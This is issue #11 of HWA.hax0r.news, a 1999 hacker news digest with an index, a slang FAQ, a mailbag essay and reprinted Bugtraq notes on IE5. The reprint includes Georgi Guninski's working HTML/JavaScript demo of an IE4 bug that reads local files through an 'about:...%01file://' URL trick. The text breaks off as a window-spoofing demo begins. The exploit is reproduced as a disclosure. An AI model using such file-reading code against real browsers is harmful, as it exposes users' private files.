Copy Link
Add to Bookmark
Report
hwa-hn11
[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
==========================================================================
= <=-[ HWA.hax0r.news ]-=> =
==========================================================================
[=HWA'99=] Number 11 Volume 1 1999 March 24th 99
==========================================================================
Anyone want to send in comments on the current site or ideas for a new
site layout, please do so, i'm no html wizard and all my sites tend to
end up looking pretty much the same, if you feel creative and want to put
a demo site together or point me in the direction of a site layout you
like please do so, i'm getting bored with the haphazard layout of the
current site and could use some creative input on ideas for layout as
its a bit crowded currently and only looks half decent in 1024x768
mode .... tnx
- cruciphux@dok.org
Synopsis
--------
The purpose of this newsletter is to 'digest' current events of interest
that affect the online underground and netizens in general. This includes
coverage of general security issues, hacks, exploits, underground news
and anything else I think is worthy of a look see.
This list is NOT meant as a replacement for, nor to compete with, the
likes of publications such as CuD or PHRACK or with news sites such as
AntiOnline, the Hacker News Network (HNN) or mailing lists such as
BUGTRAQ or ISN nor could any other 'digest' of this type do so.
It *is* intended however, to compliment such material and provide a
reference to those who follow the culture by keeping tabs on as many
sources as possible and providing links to further info, its a labour
of love and will be continued for as long as I feel like it, i'm not
motivated by dollars or the illusion of fame, did you ever notice how
the most famous/infamous hackers are the ones that get caught? there's
a lot to be said for remaining just outside the circle... <g>
@HWA
=-----------------------------------------------------------------------=
Welcome to HWA.hax0r.news ... #11
=-----------------------------------------------------------------------=
*******************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' ***
*** ***
*** please join to discuss or impart news on techno/phac scene ***
*** stuff or just to hang out ... someone is usually around 24/7***
*** ***
*** Note that the channel isn't there to entertain you its for ***
*** you to talk to us and impart news, if you're looking for fun***
*** then do NOT join our channel try #wierdwigs or something... ***
*** we're not #chatzone or #hack ***
*** ***
*******************************************************************
=-------------------------------------------------------------------------=
Issue #11
=--------------------------------------------------------------------------=
[ INDEX ]
=--------------------------------------------------------------------------=
Key Content
=--------------------------------------------------------------------------=
00.0 .. COPYRIGHTS ......................................................
00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
00.2 .. SOURCES .........................................................
00.3 .. THIS IS WHO WE ARE ..............................................
00.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'?..........................
00.5 .. THE HWA_FAQ V1.0 ................................................
01.0 .. GREETS ..........................................................
01.1 .. Last minute stuff, rumours, newsbytes ...........................
01.2 .. Mailbag .........................................................
02.0 .. From the editor..................................................
=--------------------------------------------------------------------------=
03.0 .. MSIE 5 is still susceptible to frame spoofing and other bugs.....
03.1 .. MSIE 5 problems carried over from earlier versions..............
04.0 .. WintrasherGOLD...................................................
05.0 .. LDAP Buffer overflow.............................................
06.0 .. HP security bulletin: HPTerm exploit.............................
07.0 .. Eudora buffer overflow exploit...................................
08.0 .. Netscape SUSE crash exploit......................................
09.0 .. Hotmail to fix potential security problem .......................
10.0 .. NcFTPd Exploit (from Feb but missed in earlier issues)...........
10.1 .. NcFTPd proxy exploitation.......................................
10.2 .. Mail.local sendmail exploit advisory............................
11.0 .. Its in the bag, much ado about nothing ..........................
12.0 .. [ISN] DNS Spoofing finally resolved?.............................
13.0 .. [ISN] IETF working group seeks to improve security alerting ....
14.0 .. Report: Military computers vulnerable............................
15.0 .. International raid cracks child porn ring .......................
15.1 .. ACPM : Anti-Child Porn Militia wants YOU........................
16.0 .. Hacking (Cracking) contest, win a Netfinity server!..............
17.0 .. eBay owned.......................................................
18.0 .. Aussies to ban Net pr0n..........................................
19.0 .. More on the ProMail email trojan program ........................
20.0 .. C41 - Pentagons cyberdefenses criticized........................
21.0 .. [ISN] NetBus 'Trojan' Splits Security Community..................
22.0 .. [ISN] Cracking tools get smarter ................................
23.0 .. [ISN] British Defense Ministry Dismisses Hacker Report...........
24.0 .. [ISN] Encryption key would lock up criminals.....................
25.0 .. [ISN] Crypto: Under lock and key ................................
26.0 .. HRC's interview with Goat Security (IRC LOG).....................
27.0 .. Year 2000 Network and Distributed System Security ...............
28.0 .. What would YOU do with Bill Gates' SSN?..........................
29.0 .. MDT monitoring (Mobile Data Terminal as used by the Police)......
30.0 .. Bugtraq: Lotus notes security advisory...........................
31.1 .. WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1).......
32.0 .. Bugtraq: OpenSSL and SSLeay Advisory.............................
33.0 .. OpenBSD security advisories......................................
34.0 .. Oracle in insecure at initial install............................
35.0 .. GnuPlot buffer overflow exploit .................................
=--------------------------------------------------------------------------=
AD.S .. Post your site ads or etc here, if you can offer something in return
thats tres cool, if not we'll consider ur ad anyways so send it in.
..........................................................................
HA.HA .. Humour and puzzles ............................................
HA.HA1 .. Humourous newsbytes from Innerpulse.com (www.innerpulse.com).
..........................................................................
HOW.TO .. New section: "How to hack" by our illustrious editor part 2.....
SITE.1 .. Featured site, http://www.real-secure.org/ with ezine excerpt...
on IP Spoofing .................................................
..........................................................................
H.W .. Hacked Websites ..............................................
A.0 .. APPENDICES......................................................
A.1 .. PHACVW linx and references......................................
=--------------------------------------------------------------------------=
@HWA'99
"Heh heh heh heh heh,.why don't you listen to this recording with
interest? Mary Mary, kill the hairy sonuvabitch...he he he and
now for something completely different" - Wierdmix'90
00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
(LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
Important semi-legalese and license to redistribute:
YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF
AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED
IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE
APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
ME PRIVATELY current email cruciphux@dok.org
THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
AND REDISTRIBUTE/MIRROR. - EoD
Although this file and all future issues are now copyright, some of
the content holds its own copyright and these are printed and
respected. News is news so i'll print any and all news but will quote
sources when the source is known, if its good enough for CNN its good
enough for me. And i'm doing it for free on my own time so pfffft. :)
No monies are made or sought through the distribution of this material.
If you have a problem or concern email me and we'll discuss it.
cruciphux@dok.org
Cruciphux [C*:.]
00.1 CONTACT INFORMATION AND MAIL DROP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Has it occurred to anybody that "AOL for Dummies" is an extremely
redundant name for a book?
- unknown
Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
Canada / North America (hell even if you are inside ..) and wish to
send printed matter like newspaper clippings a subscription to your
cool foreign hacking zine or photos, small non-explosive packages
or sensitive information etc etc well, now you can. (w00t) please
no more inflatable sheep or plastic dog droppings, or fake vomit
thanks.
Send all goodies to:
HWA NEWS
P.O BOX 44118
370 MAIN ST. NORTH
BRAMPTON, ONTARIO
CANADA
L6V 4H5
WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are
~~~~~~~ reading this from some interesting places, make my day and get a
mention in the zine, send in a postcard, I realize that some places
it is cost prohibitive but if you have the time and money be a cool
dude / gal and send a poor guy a postcard preferably one that has some
scenery from your place of residence for my collection, I collect stamps
too so you kill two birds with one stone by being cool and mailing in a
postcard, return address not necessary, just a "hey guys being cool in
Bahrain, take it easy" will do ... ;-) thanx.
Ideas for interesting 'stuff' to send in apart from news:
- Photo copies of old system manual front pages (optionally signed by you) ;-)
- Photos of yourself, your mom, sister, dog and or cat in a NON
compromising position plz I don't want pr0n. <g>
- Picture postcards
- CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
tapes with hack/security related archives, logs, irc logs etc on em.
- audio or video cassettes of yourself/others etc of interesting phone
fun or social engineering examples or transcripts thereof.
If you still can't think of anything you're probably not that interesting
a person after all so don't worry about it <BeG>
Our current email:
Submissions/zine gossip.....: hwa@press.usmc.net
Private email to editor.....: cruciphux@dok.org
Distribution/Website........: sas72@usa.net
@HWA
00.2 Sources ***
~~~~~~~~~~~
Sources can be some, all, or none of the following (by no means complete
nor listed in any degree of importance) Unless otherwise noted, like msgs
from lists or news from other sites, articles and information is compiled
and or sourced by Cruciphux no copyright claimed.
HiR:Hackers Information Report... http://axon.jccc.net/hir/
News & I/O zine ................. http://www.antionline.com/
Back Orifice/cDc..................http://www.cultdeadcow.com/
News site (HNN) .....,............http://www.hackernews.com/
Help Net Security.................http://net-security.org/
News,Advisories,++ ...............http://www.l0pht.com/
NewsTrolls (HNN)..................http://www.newstrolls.com/
News + Exploit archive ...........http://www.rootshell.com/beta/news.html
CuD ..............................http://www.soci.niu.edu/~cudigest
News site+........................http://www.zdnet.com/
News site+........................http://www.gammaforce.org/
News site+........................http://www.projectgamma.com/
+Various mailing lists and some newsgroups, such as ...
+other sites available on the HNN affiliates page, please see
http://www.hackernews.com/affiliates.html as they seem to be popping up
rather frequently ...
* Yes demoniz is now officially retired, if you go to that site though the
Bikkel web board (as of this writing) is STILL ACTIVE, www.hwa-iwa.org will
also be hosting a webboard as soon as that site comes online perhaps you can
visit it and check us out if I can get some decent wwwboard code running I
don't really want to write my own, another alternative being considered is a
telnet bbs that will be semi-open to all, you will be kept posted. - cruciphux
http://www.the-project.org/ .. IRC list/admin archives
http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk
alt.hackers.malicious
alt.hackers
alt.2600
BUGTRAQ
ISN security mailing list
ntbugtraq
<+others>
NEWS Agencies, News search engines etc:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.cnn.com/SEARCH/
http://www.foxnews.com/search/cgi-bin/search.cgi?query=cracker&days=0&wires=0&startwire=0
http://www.news.com/Searching/Results/1,18,1,00.html?querystr=cracker
http://www.ottawacitizen.com/business/
http://search.yahoo.com.sg/search/news_sg?p=cracker
http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=cracker
http://www.zdnet.com/zdtv/cybercrime/
http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
NOTE: See appendices for details on other links.
http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
http://freespeech.org/eua/ Electronic Underground Affiliation
http://www.l0pht.com/cyberul.html
http://www.hackernews.com/archive.html?122998.html
http://ech0.cjb.net ech0 Security
http://net-security.org Net Security
...
Submissions/Hints/Tips/Etc
~~~~~~~~~~~~~~~~~~~~~~~~~~
All submissions that are `published' are printed with the credits
you provide, if no response is received by a week or two it is assumed
that you don't care wether the article/email is to be used in an issue
or not and may be used at my discretion.
Looking for:
Good news sites that are not already listed here OR on the HNN affiliates
page at http://www.hackernews.com/affiliates.html
Magazines (complete or just the articles) of breaking sekurity or hacker
activity in your region, this includes telephone phraud and any other
technological use, abuse hole or cool thingy. ;-) cut em out and send it
to the drop box.
- Ed
Mailing List Subscription Info (Far from complete) Feb 1999
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~
ISS Security mailing list faq : http://www.iss.net/iss/maillist.html
THE MOST READ:
BUGTRAQ - Subscription info
~~~~~~~~~~~~~~~~~~~~~~~~~~~
What is Bugtraq?
Bugtraq is a full-disclosure UNIX security mailing list, (see the info
file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to
bugtraq, send mail to listserv@netspace.org containing the message body
subscribe bugtraq. I've been archiving this list on the web since late
1993. It is searchable with glimpse and archived on-the-fly with hypermail.
Searchable Hypermail Index;
http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html
About the Bugtraq mailing list
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The following comes from Bugtraq's info file:
This list is for *detailed* discussion of UNIX security holes: what they are,
how to exploit, and what to do to fix them.
This list is not intended to be about cracking systems or exploiting their
vulnerabilities. It is about defining, recognizing, and preventing use of
security holes and risks.
Please refrain from posting one-line messages or messages that do not contain
any substance that can relate to this list`s charter.
I will allow certain informational posts regarding updates to security tools,
documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
on this list.
Please follow the below guidelines on what kind of information should be posted
to the Bugtraq list:
+ Information on Unix related security holes/backdoors (past and present)
+ Exploit programs, scripts or detailed processes about the above
+ Patches, workarounds, fixes
+ Announcements, advisories or warnings
+ Ideas, future plans or current works dealing with Unix security
+ Information material regarding vendor contacts and procedures
+ Individual experiences in dealing with above vendors or security organizations
+ Incident advisories or informational reporting
Any non-essential replies should not be directed to the list but to the originator of the message. Please do not "CC" the bugtraq
reflector address if the response does not meet the above criteria.
Remember: YOYOW.
You own your own words. This means that you are responsible for the words that you post on this list and that reproduction of
those words without your permission in any medium outside the distribution of this list may be challenged by you, the author.
For questions or comments, please mail me:
chasin@crimelab.com (Scott Chasin)
Crypto-Gram
~~~~~~~~~~~
CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
insights, and commentaries on cryptography and computer security.
To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
blank message to crypto-gram-subscribe@chaparraltree.com. To unsubscribe,
visit http://www.counterpane.com/unsubform.html. Back issues are available
on http://www.counterpane.com.
CRYPTO-GRAM is written by Bruce Schneier. Schneier is president of
Counterpane Systems, the author of "Applied Cryptography," and an inventor
of the Blowfish, Twofish, and Yarrow algorithms. He served on the board of
the International Association for Cryptologic Research, EPIC, and VTW. He
is a frequent writer and lecturer on cryptography.
CUD Computer Underground Digest
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This info directly from their latest ish:
Computer underground Digest Sun 14 Feb, 1999 Volume 11 : Issue 09
ISSN 1004-042X
Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
Archivist: Brendan Kehoe
Poof Reader: Etaion Shrdlu, Jr.
Shadow-Archivists: Dan Carosone / Paul Southworth
Ralph Sims / Jyrki Kuoppala
Ian Dickinson
Cu Digest Homepage: http://www.soci.niu.edu/~cudigest
[ISN] Security list
~~~~~~~~~~~~~~~~~~~
This is a low volume list with lots of informative articles, if I had my
way i'd reproduce them ALL here, well almost all .... ;-) - Ed
Subscribe: mail majordomo@repsec.com with "subscribe isn".
@HWA
00.3 THIS IS WHO WE ARE
~~~~~~~~~~~~~~~~~~
Some HWA members and Legacy staff
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cruciphux@dok.org.........: currently active/editorial
darkshadez@ThePentagon.com: currently active/man in black
fprophet@dok.org..........: currently active/IRC+ man in black
sas72@usa.net ............. currently active/IRC+ distribution
vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
dicentra...(email withheld): IRC+ grrl in black
Foreign Correspondants/affiliate members
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ATTENTION: All foreign correspondants please check in or be removed by next
issue I need your current emails since contact info was recently lost in a
HD mishap and i'm not carrying any deadweight. Plus we need more people sending
in info, my apologies for not getting back to you if you sent in January I lost
it, please resend.
N0Portz ..........................: Australia
Qubik ............................: United Kingdom
system error .....................: Indonesia
Wile (wile coyote) ...............: Japan/the East
Ruffneck ........................: Netherlands/Holland
And unofficially yet contributing too much to ignore ;)
Spikeman .........................: World media
Please send in your sites for inclusion here if you haven't already
also if you want your emails listed send me a note ... - Ed
http://www.genocide2600.com/~spikeman/ .. Spikeman's DoS and protection site
Contributors to this issue:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Spikeman .........................: daily news updates+
*******************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' ***
*******************************************************************
:-p
1. We do NOT work for the government in any shape or form.Unless you count paying
taxes ... in which case we work for the gov't in a BIG WAY. :-/
2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news
events its a good idea to check out issue #1 at least and possibly also the
Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ...
@HWA
00.4 Whats in a name? why HWA.hax0r.news??
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Can I see you naked?"
- Bob Barker
Well what does HWA stand for? never mind if you ever find out I may
have to get those hax0rs from 'Hackers' or the Pretorians after you.
In case you couldn't figure it out hax0r is "new skewl" and although
it is laughed at, shunned, or even pidgeon holed with those 'dumb
leet (l33t?) dewds' <see article in issue #4> this is the state
of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
up and comers, i'd highly recommend you get that book. Its almost
like buying a clue. Anyway..on with the show .. - Editorial staff
@HWA
00.5 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Also released in issue #3. (revised) check that issue for the faq
it won't be reprinted unless changed in a big way with the exception
of the following excerpt from the FAQ, included to assist first time
readers:
Some of the stuff related to personal useage and use in this zine are
listed below: Some are very useful, others attempt to deny the any possible
attempts at eschewing obfuscation by obsucuring their actual definitions.
@HWA - see EoA ;-)
!= - Mathematical notation "is not equal to" or "does not equal"
ASC(247) "wavey equals" sign means "almost equal" to. If written
an =/= (equals sign with a slash thru it) also means !=, =< is Equal
to or less than and => is equal to or greater than (etc, this aint
fucking grade school, cripes, don't believe I just typed all that..)
AAM - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)
AOL - A great deal of people that got ripped off for net access by a huge
clueless isp with sekurity that you can drive buses through, we're
not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
least they could try leasing one??
*CC - 1 - Credit Card (as in phraud)
2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's
CCC - Chaos Computer Club (Germany)
*CON - Conference, a place hackers crackers and hax0rs among others go to swap
ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk
watch videos and seminars, get drunk, listen to speakers, and last but
not least, get drunk.
*CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker
speak he's the guy that breaks into systems and is often (but by no
means always) a "script kiddie" see pheer
2 . An edible biscuit usually crappy tasting without a nice dip, I like
jalapeno pepper dip or chives sour cream and onion, yum - Ed
Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger
Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
ebonics, speaking in a dark tongue ... being ereet, see pheer
EoC - End of Commentary
EoA - End of Article or more commonly @HWA
EoF - End of file
EoD - End of diatribe (AOL'ers: look it up)
FUD - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
usually in general media articles not high brow articles such as ours or other
HNN affiliates ;)
du0d - a small furry animal that scurries over keyboards causing people to type
wierd crap on irc, hence when someone says something stupid or off topic
'du0d wtf are you talkin about' may be used.
*HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R
*HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
define, I think it is best defined as pop culture's view on The Hacker ala
movies such as well erhm "Hackers" and The Net etc... usually used by "real"
hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
some coffee?' or can you hax0r some bread on the way to the table please?'
2 - A tool for cutting sheet metal.
HHN - Maybe a bit confusing with HNN but we did spring to life around the same
time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
noun means the hackernews site proper. k? k. ;&
HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html
J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d
MFI/MOI- Missing on/from IRC
NFC - Depends on context: No Further Comment or No Fucking Comment
NFR - Network Flight Recorder (Do a websearch) see 0wn3d
NFW - No fuckin'way
*0WN3D - You are cracked and owned by an elite entity see pheer
*OFCS - Oh for christ's sakes
PHACV - And variations of same <coff>
Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare
Alternates: H - hacking, hacktivist
C - Cracking <software>
C - Cracking <systems hacking>
V - Virus
W - Warfare <cyberwarfare usually as in Jihad>
CT - Cyber Terrorism
*PHEER - This is what you do when an ereet or elite person is in your presence
see 0wn3d
*RTFM - Read the fucking manual - not always applicable since some manuals are
pure shit but if the answer you seek is indeed in the manual then you
should have RTFM you dumb ass.
TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0
TBA - To Be Arranged/To Be Announced also 2ba
TFS - Tough fucking shit.
*w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
from the underground masses. also "w00ten" <sic>
2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)
*wtf - what the fuck
*ZEN - The state you reach when you *think* you know everything (but really don't)
usually shortly after reaching the ZEN like state something will break that
you just 'fixed' or tweaked.
@HWA
-=- :. .: -=-
01.0 Greets!?!?! yeah greets! w0w huh. - Ed
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Thanks to all in the community for their support and interest but i'd
like to see more reader input, help me out here, whats good, what sucks
etc, not that I guarantee i'll take any notice mind you, but send in
your thoughts anyway.
Shouts to:
* Kevin Mitnick * demoniz * The l0pht crew
* tattooman * Dicentra * Pyra
* Vexxation * FProphet * TwistedP
* NeMstah * the readers * mj
* Kokey * ypwitch * kimmie
* tsal * spikeman * YOU.
* #leetchans ppl, you know who you are...
* all the people who sent in cool emails and support
* our new 'staff' members.
kewl sites:
+ http://www.freshmeat.net/
+ http://www.slashdot.org/
+ http://www.l0pht.com/
+ http://www.2600.com/
+ http://hacknews.bikkel.com/ (http://www.bikkel.com/~demoniz/)
+ http://www.legions.org/
+ http://www.genocide2600.com/
+ http://www.genocide2600.com/~spikeman/
+ http://www.genocide2600.com/~tattooman/
+ http://www.hackernews.com/ (Went online same time we started issue 1!)
@HWA
01.1 Last minute stuff, rumours and newsbytes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"What is popular isn't always right, and what is right isn't
always popular..."
- FProphet '99
+++ When was the last time you backed up your important data?
++ Attrition has updated its archive of cracked sites with one
of the biggest archives on the net http://www.attrition.org
check it out ...
Mucho thanks to Spikeman for directing his efforts to our cause of bringing
you the news we want to read about in a timely manner ... - Ed
@HWA
01.2 MAILBAG - email and posts from the message board worthy of a read
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Yes we really do get a pile of mail in case you were wondering ;-0
heres a sampling of some of the mail we get here, the more interesting
ones are included and of course we had to get in the plugs for the
zine coz we love to receive those too *G* - Ed
This is "off-topic" but its something I thought i'd share with the readers
if you have any comments on the writing i'd like to hear them and so would
phiregod so give us an email, we need more writers like this to bring a
dose of reality to our lives now and then... - Cruciphux@dok.org
From: "liquid phire" <liquidphire@hotmail.com>
To: cruciphux@dok.org
Subject: a new one
Date: Tue, 23 Mar 1999 19:04:34 PST
Mime-Version: 1.0
Content-type: text/plain
<snip>
when i watch tv all i see are commercials for heartburn stuffs, what is
with that? are the subjects of american culture rotting from the inside
out? did their bodies realize their sins before their minds did? is this
happening with everyone?
the world is going downhill fast, and we wont find out until we hit the
bottom whether or not our air bags will work. this is a new car
commercial, gaudy and loud, "buy or die!" they scream from their tabloid
pulpits. our churches have turned into department stores, the very
children that are our hope are selling their lives out for a dime bag
and a place to stay. we dress in jail rags, chant the rants of the very
people that are bringing this psuedo-life to its knees.
athletes are yelling the rhymes of corporations at anyone who will
listen. our heros are not fighting for equality or freedom, they are
throwing hype out about cop killers and hits of coke. you cant eat
money, you cant take it with you when you die, and it sure as hell wont
stop a bullet.
america is the prostitute of the free and imprisoned world, thousands
died so we can enjoy cable from our matching houses with our matching
lives. god is for those who are wasting their lives and need another one
to spare. we fought for what now? so that rapists and murderers could
walk free while political prisoners rotted in their cells?
parents work all day so their children can attend public schools that
promote insecurity and train the next generation to be faceless and
money driven. the smart are encouraged to work for large companies or
military services, the down of luck are pushed into low paying jobs and
inferior lives. the country will prosper and a revolution will be
breathing down our necks.
i missed the sermon with the explanation, the end is near and the lord
saves. mc donalds will cater the apocalypse, and nike will provide the
offical shoe. god sold out to miramax for the film, tarantino has
claimed the screenplay, and look out for the soundtrack by backstreet
boys. salvation is being sold with an order of fries, healing comes with
a free drink, faith by armani.
the angels have encountered a glass ceiling, sexual harassment
allegations in hell, the government has become "nightly action news".
blood and gore, right and wrong, good and bad, pleasure and pain
extremes are desired in a moderated world. the second coming will have
its own line of clothes, the blood of the lamb is copyrighted. heaven
and the inferno have merged and the NASDAQ is reaching all time highs.
justice has been fucked over, her sword carried off and her measures
used for heroin. the flag is used as a doormat in other countries, our
anthem sung by drunk veterans in the middle of the night. this feels
like a moment of revelation, but its just another day in Las Vegas.
i wake up in the middle of the night screaming for solace, i cry for a
calm sea and a worthy ship. like a panther truth runs through the
sleeping city, merging with the gray and spreading over the streets in
lies. we are grasping ever bit of cabbie wisdom we can find, slipping
over the edge trying to hold on to religion, government, and "family".
we have a thirst that encompasses our lives, and it can only be quenched
with blood.
"i am the alpha and the omega, the begining and the end." i dont
remember if it was jesus or bill gates that said that.
please excuse all grammer/spelling mistakes.
phiregod
liquidphire@hotmail.com
www.geocities.com/siliconvalley/sector/4121
Get Your Private, Free Email at http://www.hotmail.com
================================================================
@HWA
02.0 From the editor.#9
~~~~~~~~~~~~~~~~~~
#include <stdio.h>
#include <thoughts.h>
#include <backup.h>
main()
{
printf ("Read commented source!\n\n");
/*
*So Mircosoft continues to suck, the released IE5 (wooHOO)
*and whaddya know it still has a slew of bugs duh...all those
*frame spewfing bugs and other java monsters are still in there
*so I hope u guys that keep hitting the site with MSIE will
*begin to smarten up and see that Netscape although not the
*most secure program either is a damn sight better than MSIE
*even on a bad day ... peace out rockin with issue 11
*
*/
printf ("EoF.\n");
}
Congrats, thanks, articles, news submissions and kudos to us at the
main address: hwa@press.usmc.net complaints and all nastygrams and
mailbombs can go to /dev/nul nukes, synfloods and papasmurfs to
127.0.0.1, private mail to cruciphux@dok.org
danke.
C*:.
@HWA
03.0 MSIE 5 is still susceptible to frame spoofing and other bugs
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Date: Fri, 19 Mar 1999 11:46:01 +0100
From: Most Psychoid <psychoid@GMX.NET>
To: BUGTRAQ@netspace.org
Subject: IE5 - same vulnerabilities, only some fixed
Hello,
The new Microsoft Internet Explorer 5 (I checked Version: 5.00.0910.1309)
still allows Frame Spoofing and reading of local Files as described by
Georgi Guninski (see http://www.whitehats.com/guninski/read.html).
Another new feature named "AutoComplete" stores entries (which also may be
passwords). Just another new source for passwords which had not been saved
in IE 4.x.
The Crash-bugs seem to be removed. I could not crash my default installed
IE 5 using the known exploits.
So far,
psychoid
---
Sent through Global Message Exchange - http://www.gmx.net
03.1 MSIE 5 problems carried over from earlier versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
There is a Javascript security bug in Internet Explorer 4.x (patched),
which circumvents "Cross-frame security" and opens several security holes.
The problem is: if you add '%01someURL' after an 'about:somecode' URL, IE thinks that the document is
loaded from the domain of 'someURL'. Very strange?
Some of the bugs are:
1) IE allows reading local files and sending them to an arbitrary server.
The filename must be known.
The bug may be exploited using HTML mail message.
Demo is available (See Demos below)
2) IE allows "window spoofing".
After visiting a hostile page (or clicking a hostile link) a window is opened and its
location is a trusted site. However, the content of the window is not that of the original site,
but it is supplied by the owner of the page. So, the user is misled he is browising
a trusted site, while he is browsing a hostile page and may provide sensitive information,
such as credit card number.
The bug may be exploited using HTML mail message.
Demo is available (See below)
3) Reading AUTOEXEC.BAT using TDC.
Demo is available: (See below)
Workaround: Disable Javascript
Demo #1
<HTML>
<HEAD><TITLE>
Guninski's IE 4 file reading bug.
</TITLE>
</HEAD>
<BODY>
There is a bug in Internet Explorer 4.x (patched) which allows reading local files and sending them to an arbitrary server.
<BR>
The problem is: if you add '%01someURL' after the URL, IE thinks that the document is loaded from the domain of 'someURL'.
<BR>
This circumvents "Cross-frame security" and opens several security holes.
<BR>
The filename must be known.
<BR>
The bug may be exploited using HTML mail message. The exploit uses Javascript.
For more info see the source.
<BR>
Workaround: Disable Javascript.
<BR>
<SCRIPT>
alert('Create a short file C:\\test.txt and its contents will be shown in a dialog box.')
b=showModalDialog("about:<SCRIPT>a=window.open('file://c:/test.txt');s='Here is your file: \\n\\n'+a.document.body.innerText;alert(s);a.close();close()</"+"SCRIPT>%01file://c:/");
</SCRIPT>
<A HREF="http://www.whitehats.com/guninski">Go to Georgi Guninski's home page.</A>
</BODY>
</HTML>
Demo #2
<HTML>
<HEAD><TITLE>
Guninski's IE 4 window spoofing.
</TITLE>
</HEAD>
<BODY>
There is a bug in Internet Explorer 4.x (patched) which allows "window spoofing".
<BR>
